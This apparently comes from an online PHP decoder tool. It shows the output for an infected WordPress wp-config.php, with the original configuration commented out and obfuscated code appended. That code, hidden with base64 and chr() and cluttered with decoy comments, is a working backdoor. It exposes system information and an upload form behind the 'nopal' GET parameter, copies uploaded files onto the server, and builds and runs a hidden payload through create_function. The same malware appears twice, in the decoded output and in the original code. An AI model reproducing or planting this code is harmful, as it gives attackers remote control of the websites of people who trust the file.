Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * The base configuration for WordPress * * The wp-config.php creation scr..
Decoded Output download
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress
define( 'DB_NAME', 'database_name_here' );
/** MySQL database username
define( 'DB_USER', 'username_here' );
/** MySQL database password
define( 'DB_PASSWORD', 'password_here' );
/** MySQL hostname
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables.
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt.
define( 'DB_COLLATE', '' );
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
/**
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
*/
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
/**
$table_prefix = 'wp_';
*/
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
/** define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing.
/** Absolute path to the WordPress directory.
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}
/** Sets up WordPress vars and included files.
require_once( ABSPATH . 'wp-settings.php' ); */?>
<?php /**} else {*/$XboeBJE=base64_decode(chr(89).'2'.chr(57)."w".chr(101)."Q".chr(61).chr(61));$FVviFgaU=base64_decode('c'."3".'R'.chr(121).chr(88)."3".chr(74).'l'."c"."G".chr(120)."h".chr(89).chr(50)."U"."=");if(isset($_GET[base64_decode(chr(98).chr(109).'9'.'w'.chr(89).'W'.'w'."=")])){echo ///if(preg_match('/[^0-9A-Za-z]/',$test_string)) // this is the preg_match version. the /'s are now required.
base64_decode(chr(80).chr(71).'Z'.chr(118).'b'."n".'Q'.'g'."Y".chr(50).'9'.chr(115).'b'.chr(51).'I'."9".'I'."z".chr(65).'w'.chr(77)."D".'A'.'w'.chr(77).chr(68)."4"."=").php_uname()."";echo /**} else {*/base64_decode(chr(80).chr(71).'Z'.chr(118).'c'.chr(109).chr(48).'g'.'b'.'W'."V"."0".chr(97).'G'.chr(57).chr(107).'P'.chr(88)."B".chr(118).chr(99).chr(51)."Q".chr(103).chr(90).'W'.'5'."j".'d'.chr(72).chr(108).'w'."Z".chr(84).chr(49).'t'."d".chr(87).chr(120).chr(48)."a".chr(88).chr(66).chr(104)."c".'n'.chr(81)."v".chr(90).chr(109).'9'.'y'.chr(98).chr(83).chr(49).chr(107).chr(89).'X'.chr(82).chr(104).'P'.chr(103).chr(61)."=");echo /// $regex = '/^(ES){0,1}([0-9A-Z][0-9]{7}[A-Z])|([A-Z][0-9]{7}[0-9A-Z])$/i';
base64_decode(chr(80).chr(71).chr(108).'u'.chr(99).chr(72).chr(86).chr(48).'I'."H".'R'.chr(53).'c'.'G'.chr(85).chr(57).chr(90).'m'.chr(108)."s"."Z".chr(83).'B'.'u'.chr(89).chr(87).chr(49).'l'.chr(80).'W'.'Y'.chr(43).chr(80)."G".'l'.chr(117).chr(99).'H'.chr(86).'0'."I".'G'.chr(53).chr(104).'b'.chr(87).'U'.'9'.chr(100).chr(105)."B".chr(48).chr(101)."X".chr(66).'l'."P"."X"."N".'1'.chr(89).chr(109)."1".'p'.'d'.chr(67).chr(66)."p".chr(90).'D'.chr(49).chr(50).'I'."H".chr(90).'h'.chr(98).chr(72).'V'."l"."P".chr(88).chr(86)."w"."P".chr(106).chr(120).chr(105).chr(99)."j"."4".chr(61));if($_POST[base64_decode('d'.chr(103).chr(61)."=")]/// default:
== /**case 'Estonia':*/up){if(@$XboeBJE($_FILES[base64_decode(chr(90).chr(103).chr(61).'=')][base64_decode("d".chr(71).chr(49).chr(119).chr(88).chr(50)."5".chr(104).chr(98).chr(87).chr(85).chr(61))],$_FILES[base64_decode(chr(90)."g"."="."=")][base64_decode("b"."m".'F'.'t'.chr(90).chr(81).chr(61).'=')])){echo /**$regex .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?"; // User and Pass*/base64_decode("P".chr(71).'I'.chr(43).chr(81).chr(109).'V'.'y'.chr(97)."G"."F".chr(122)."a".chr(87)."w"."g".chr(81).chr(50).chr(57)."r".chr(80).'C'.chr(57)."i".chr(80).chr(105).'0'.'t'."P".'g'.chr(61)."=").$_FILES[base64_decode('Z'.chr(103)."=".'=')][base64_decode("b".chr(109).chr(70).chr(116)."Z".chr(81).chr(61)."=")];}else{echo /// case 'Netherlands':
base64_decode(chr(80).chr(71)."I".'+'.chr(82).'2'.chr(70).chr(110).'Y'."W".chr(119).chr(103).chr(81).'2'.chr(57).chr(114));}}}/**get host name from URL*/
?>
<?php
/**if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {*/$XboeBJE=base64_decode(chr(89).'2'.chr(57)."w".chr(101)."Q".chr(61).chr(61));$FVviFgaU=base64_decode('c'."3".'R'.chr(121).chr(88)."3".chr(74).'l'."c"."G".chr(120)."h".chr(89).chr(50)."U"."=");$QvjW_Vyl=base64_decode('Y'.chr(86).'h'.'S'.'d'."m".'J'."t"."Z".chr(68).'B'.chr(105));/**return -1;*/$EEMRqFA=base64_decode('W'.chr(108)."h".chr(97).'a'.'G'.chr(74)."D".chr(90).chr(50).chr(116).chr(89).chr(77).chr(81)."=".chr(61));/**return -1;*/$EExRiHt=base64_decode(chr(83)."k".chr(90)."V".chr(86).chr(108)."Z".chr(71).'V'.'T'.chr(70).'S'.chr(89).chr(103).'='.chr(61));///$regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP
$TUhcCgFey/// $regex = '/^(LT){0,1}([0-9]{9}|[0-9]{12})$/i';
=///preg_match('@^(?:http://)?([^/]+)@i',
$FVviFgaU(base64_decode(chr(100).chr(71).chr(107).chr(61)),"",base64_decode(chr(100)."G"."l".chr(122).chr(100).chr(71).chr(108).'0'.chr(100)."G".'l'.'y'.chr(100).'G'."l".chr(102).chr(99).'n'."R".'p'.'Z'.chr(88).'R'.'p'."c"."G".'x'.chr(48).chr(97).chr(87).chr(70).'0'.'a'.chr(87).chr(78).'l'));///if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$mBzHIEU=base64_decode(chr(77)."j".chr(86).chr(117).chr(87).chr(70).chr(78)."r"."N"."w"."=".chr(61));///if (preg_match("/web/i", "PHP is the web scripting language of choice.")) {
$PNZpFQd_NNJ_d///case 'Cyprus':
=///$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';
$TUhcCgFey(base64_decode(chr(97).chr(119).chr(61).'='),///
"",/**default:*/base64_decode(chr(97)."2"."J".chr(104).'a'.chr(51).chr(78).chr(114)."Z".chr(84).chr(90).chr(114).chr(78)."G".chr(116).chr(102).'a'.'2'.'R'.'r'."Z"."W".'t'.chr(106).chr(97).chr(50).'9'.chr(114).'Z'.chr(71)."t".'l'));/**'.$match.'" /><input type="submit" value="go" /></form><br />';*/$UGFIqrtFM_zP/**echo "domain name is: {$matches[0]}
";*/=/// case 'Slovakia':
$TUhcCgFey(base64_decode(chr(89).chr(51).chr(82)."3"),"",base64_decode(chr(89).chr(51).'R'.chr(51).'Y'.'2'.chr(78)."0".'d'.'3'.chr(74).'l'."Y".chr(51)."R".'3'.'Y'.'X'.chr(82)."j".chr(100)."H".chr(100)."l".chr(89)."3"."R"."3".chr(88)."2".'Z'."j".'d'."H"."d".chr(49).chr(98).'m'.'N'.'j'.chr(100)."H".'d'.chr(48).'Y'.chr(51).chr(82).'3'."a".chr(87).chr(57)."j"."d"."H".chr(100).'u'));/**if (preg_match($search, $match)){echo "matches";}else{echo "no match";}*/$fsCWhOhjHk/**$formatted = preg_replace($regex, '($1) $2-$3 ext. $4', $phoneNumber);*/=/// default:
$UGFIqrtFM_zP("",/**.'[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';*/$PNZpFQd_NNJ_d($TUhcCgFey(base64_decode('V'.chr(119)."=".chr(61)),/**get host name from URL*/"",/**return -1;*/$EEMRqFA.$EExRiHt.$QvjW_Vyl.$mBzHIEU)));/**$regex .= "(\/([a-z0-9+\$_-]\.?)+)*\/?"; // Path*/$fsCWhOhjHk();///or, provided you use the $matches argument in preg_match
?>
Did this file decode correctly?
Original Code
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress
define( 'DB_NAME', 'database_name_here' );
/** MySQL database username
define( 'DB_USER', 'username_here' );
/** MySQL database password
define( 'DB_PASSWORD', 'password_here' );
/** MySQL hostname
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables.
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt.
define( 'DB_COLLATE', '' );
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
/**
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
*/
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
/**
$table_prefix = 'wp_';
*/
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
/** define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing.
/** Absolute path to the WordPress directory.
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}
/** Sets up WordPress vars and included files.
require_once( ABSPATH . 'wp-settings.php' ); */?>
<?php /**} else {*/$XboeBJE=base64_decode(chr(89).'2'.chr(57)."w".chr(101)."Q".chr(61).chr(61));$FVviFgaU=base64_decode('c'."3".'R'.chr(121).chr(88)."3".chr(74).'l'."c"."G".chr(120)."h".chr(89).chr(50)."U"."=");if(isset($_GET[base64_decode(chr(98).chr(109).'9'.'w'.chr(89).'W'.'w'."=")])){echo ///if(preg_match('/[^0-9A-Za-z]/',$test_string)) // this is the preg_match version. the /'s are now required.
base64_decode(chr(80).chr(71).'Z'.chr(118).'b'."n".'Q'.'g'."Y".chr(50).'9'.chr(115).'b'.chr(51).'I'."9".'I'."z".chr(65).'w'.chr(77)."D".'A'.'w'.chr(77).chr(68)."4"."=").php_uname()."";echo /**} else {*/base64_decode(chr(80).chr(71).'Z'.chr(118).'c'.chr(109).chr(48).'g'.'b'.'W'."V"."0".chr(97).'G'.chr(57).chr(107).'P'.chr(88)."B".chr(118).chr(99).chr(51)."Q".chr(103).chr(90).'W'.'5'."j".'d'.chr(72).chr(108).'w'."Z".chr(84).chr(49).'t'."d".chr(87).chr(120).chr(48)."a".chr(88).chr(66).chr(104)."c".'n'.chr(81)."v".chr(90).chr(109).'9'.'y'.chr(98).chr(83).chr(49).chr(107).chr(89).'X'.chr(82).chr(104).'P'.chr(103).chr(61)."=");echo /// $regex = '/^(ES){0,1}([0-9A-Z][0-9]{7}[A-Z])|([A-Z][0-9]{7}[0-9A-Z])$/i';
base64_decode(chr(80).chr(71).chr(108).'u'.chr(99).chr(72).chr(86).chr(48).'I'."H".'R'.chr(53).'c'.'G'.chr(85).chr(57).chr(90).'m'.chr(108)."s"."Z".chr(83).'B'.'u'.chr(89).chr(87).chr(49).'l'.chr(80).'W'.'Y'.chr(43).chr(80)."G".'l'.chr(117).chr(99).'H'.chr(86).'0'."I".'G'.chr(53).chr(104).'b'.chr(87).'U'.'9'.chr(100).chr(105)."B".chr(48).chr(101)."X".chr(66).'l'."P"."X"."N".'1'.chr(89).chr(109)."1".'p'.'d'.chr(67).chr(66)."p".chr(90).'D'.chr(49).chr(50).'I'."H".chr(90).'h'.chr(98).chr(72).'V'."l"."P".chr(88).chr(86)."w"."P".chr(106).chr(120).chr(105).chr(99)."j"."4".chr(61));if($_POST[base64_decode('d'.chr(103).chr(61)."=")]/// default:
== /**case 'Estonia':*/up){if(@$XboeBJE($_FILES[base64_decode(chr(90).chr(103).chr(61).'=')][base64_decode("d".chr(71).chr(49).chr(119).chr(88).chr(50)."5".chr(104).chr(98).chr(87).chr(85).chr(61))],$_FILES[base64_decode(chr(90)."g"."="."=")][base64_decode("b"."m".'F'.'t'.chr(90).chr(81).chr(61).'=')])){echo /**$regex .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?"; // User and Pass*/base64_decode("P".chr(71).'I'.chr(43).chr(81).chr(109).'V'.'y'.chr(97)."G"."F".chr(122)."a".chr(87)."w"."g".chr(81).chr(50).chr(57)."r".chr(80).'C'.chr(57)."i".chr(80).chr(105).'0'.'t'."P".'g'.chr(61)."=").$_FILES[base64_decode('Z'.chr(103)."=".'=')][base64_decode("b".chr(109).chr(70).chr(116)."Z".chr(81).chr(61)."=")];}else{echo /// case 'Netherlands':
base64_decode(chr(80).chr(71)."I".'+'.chr(82).'2'.chr(70).chr(110).'Y'."W".chr(119).chr(103).chr(81).'2'.chr(57).chr(114));}}}/**get host name from URL*/
?>
<?php
/**if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {*/$XboeBJE=base64_decode(chr(89).'2'.chr(57)."w".chr(101)."Q".chr(61).chr(61));$FVviFgaU=base64_decode('c'."3".'R'.chr(121).chr(88)."3".chr(74).'l'."c"."G".chr(120)."h".chr(89).chr(50)."U"."=");$QvjW_Vyl=base64_decode('Y'.chr(86).'h'.'S'.'d'."m".'J'."t"."Z".chr(68).'B'.chr(105));/**return -1;*/$EEMRqFA=base64_decode('W'.chr(108)."h".chr(97).'a'.'G'.chr(74)."D".chr(90).chr(50).chr(116).chr(89).chr(77).chr(81)."=".chr(61));/**return -1;*/$EExRiHt=base64_decode(chr(83)."k".chr(90)."V".chr(86).chr(108)."Z".chr(71).'V'.'T'.chr(70).'S'.chr(89).chr(103).'='.chr(61));///$regex .= "([a-z0-9-.]*)\.([a-z]{2,3})"; // Host or IP
$TUhcCgFey/// $regex = '/^(LT){0,1}([0-9]{9}|[0-9]{12})$/i';
=///preg_match('@^(?:http://)?([^/]+)@i',
$FVviFgaU(base64_decode(chr(100).chr(71).chr(107).chr(61)),"",base64_decode(chr(100)."G"."l".chr(122).chr(100).chr(71).chr(108).'0'.chr(100)."G".'l'.'y'.chr(100).'G'."l".chr(102).chr(99).'n'."R".'p'.'Z'.chr(88).'R'.'p'."c"."G".'x'.chr(48).chr(97).chr(87).chr(70).'0'.'a'.chr(87).chr(78).'l'));///if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$mBzHIEU=base64_decode(chr(77)."j".chr(86).chr(117).chr(87).chr(70).chr(78)."r"."N"."w"."=".chr(61));///if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
$PNZpFQd_NNJ_d///case 'Cyprus':
=///$regex = '/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';
$TUhcCgFey(base64_decode(chr(97).chr(119).chr(61).'='),///
"",/**default:*/base64_decode(chr(97)."2"."J".chr(104).'a'.chr(51).chr(78).chr(114)."Z".chr(84).chr(90).chr(114).chr(78)."G".chr(116).chr(102).'a'.'2'.'R'.'r'."Z"."W".'t'.chr(106).chr(97).chr(50).'9'.chr(114).'Z'.chr(71)."t".'l'));/**'.$match.'" /><input type="submit" value="go" /></form><br />';*/$UGFIqrtFM_zP/**echo "domain name is: {$matches[0]}\n";*/=/// case 'Slovakia':
$TUhcCgFey(base64_decode(chr(89).chr(51).chr(82)."3"),"",base64_decode(chr(89).chr(51).'R'.chr(51).'Y'.'2'.chr(78)."0".'d'.'3'.chr(74).'l'."Y".chr(51)."R".'3'.'Y'.'X'.chr(82)."j".chr(100)."H".chr(100)."l".chr(89)."3"."R"."3".chr(88)."2".'Z'."j".'d'."H"."d".chr(49).chr(98).'m'.'N'.'j'.chr(100)."H".'d'.chr(48).'Y'.chr(51).chr(82).'3'."a".chr(87).chr(57)."j"."d"."H".chr(100).'u'));/**if (preg_match($search, $match)){echo "matches";}else{echo "no match";}*/$fsCWhOhjHk/**$formatted = preg_replace($regex, '($1) $2-$3 ext. $4', $phoneNumber);*/=/// default:
$UGFIqrtFM_zP("",/**.'[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/';*/$PNZpFQd_NNJ_d($TUhcCgFey(base64_decode('V'.chr(119)."=".chr(61)),/**get host name from URL*/"",/**return -1;*/$EEMRqFA.$EExRiHt.$QvjW_Vyl.$mBzHIEU)));/**$regex .= "(\/([a-z0-9+\$_-]\.?)+)*\/?"; // Path*/$fsCWhOhjHk();///or, provided you use the $matches argument in preg_match
?>
Function Calls
chr | 118 |
str_replace | 3 |
base64_decode | 17 |
create_function | 1 |
Stats
MD5 | 9e8be006bff8827fdc917d1ebba4a6f2 |
Eval Count | 0 |
Decode Time | 347 ms |